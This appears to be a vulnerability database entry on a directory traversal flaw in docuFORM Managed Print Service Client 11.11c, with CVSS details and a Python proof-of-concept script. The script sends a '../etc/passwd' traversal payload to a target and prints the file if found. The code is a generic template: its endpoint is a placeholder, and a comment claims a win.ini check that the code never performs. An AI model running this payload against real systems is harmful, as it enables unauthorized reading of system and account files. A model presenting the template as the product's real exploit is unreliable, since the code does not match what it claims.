docuFORM Managed Print Service Client 11.11c is vulnerable to a directory traversal allowing attackers to read arbitrary files via crafted url.
CVSS Details
CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Configurations (Affected Products)
No configuration data available.
docuFORM Managed Print Service Client 11.11c
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
def check_poc(target_url):
# PoC to check for directory traversal
# Payload attempts to read /etc/passwd on Linux or win.ini on Windows
payload = "../../../../../../../../etc/passwd"
full_url = f"{target_url}/vulnerable_endpoint?file={payload}"
try:
response = requests.get(full_url, timeout=5)
if response.status_code == 200 and "root:" in response.text:
print(f"[+] Vulnerability confirmed at {target_url}")
print(response.text[:200])
else:
print("[-] Target does not appear vulnerable or payload failed.")
except Exception as e:
print(f"[!] Error connecting to target: {e}")
if __name__ == "__main__":
target = "http://127.0.0.1:8080" # Replace with actual target
check_poc(target)